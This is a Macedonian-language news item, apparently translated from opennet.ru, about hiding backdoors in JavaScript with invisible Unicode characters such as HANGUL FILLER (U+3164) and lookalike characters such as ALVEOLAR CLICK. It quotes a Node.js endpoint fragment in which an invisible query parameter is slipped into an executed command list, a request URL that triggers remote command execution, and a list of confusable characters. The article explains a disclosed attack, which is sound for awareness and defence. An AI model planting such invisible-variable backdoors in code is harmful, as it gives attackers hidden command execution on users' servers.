Користење на невидливи знаци на Unicode за да се сокријат дејствата во кодот JavaScript

Следејќи го методот за напад на Тројански извор, кој се заснова на употреба на знаци на Unicode кои го менуваат редоследот на прикажување на двонасочниот текст, објавена е друга техника за воведување скриени дејства, применлива за JavaScript кодот. Новиот метод се заснова на употребата на уникод знакот „ㅤ“ (шифра 0x3164, „HANGUL FILLER“), кој спаѓа во категоријата букви, но нема видлива содржина. Категоријата Unicode во која припаѓа овој знак е дозволена од спецификацијата ECMAScript 2015 за употреба во имињата на променливите JavaScript, што овозможува создавање невидливи променливи или нови променливи што не се разликуваат од другите променливи во популарните уредувачи на кодови како што се Notepad++ и VS Code.

Како пример, даден е кодот за платформата Node.js, во кој, користејќи променлива која се состои од еден знак „ㅤ“, се крие задна врата што овозможува извршување на кодот наведен од напаѓачот: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // всушност пишува „const { timeout,ㅤ \u3164}“ const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // запирката е проследена со знакот \u3164 ];

На прв поглед, само вредноста на истекот на времето се пренесува преку надворешниот параметар, а низата со командите што треба да се извршат содржи безопасна фиксна листа. Но, всушност, по променливата за истекот на времето, се доделува вредноста на друга невидлива променлива со шифра на знаци \u3164, која исто така се заменува во низата извршни команди. Така, ако таков дизајн е достапен, напаѓачот може да испрати барање како „https://host:8080/network_health?%E3%85%A4=command“ за да ја активира задна врата и да го изврши својот код.

Друг пример е знакот „ǃ“ (АЛВЕОЛАРЕН КЛИК), кој може да се користи за да даде изглед на означување на извичник. На пример, изразот „if(environmentǃ=ENV_PROD){“ кога се извршува во Node.js 14 секогаш ќе биде точен, бидејќи не ја проверува разликата, туку ја доделува вредноста на ENV_PROD на променливата „environmentǃ“. Други погрешни знаци на Уникод вклучуваат „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ и „∗“.

Извор: opennet.ru

Додадете коментар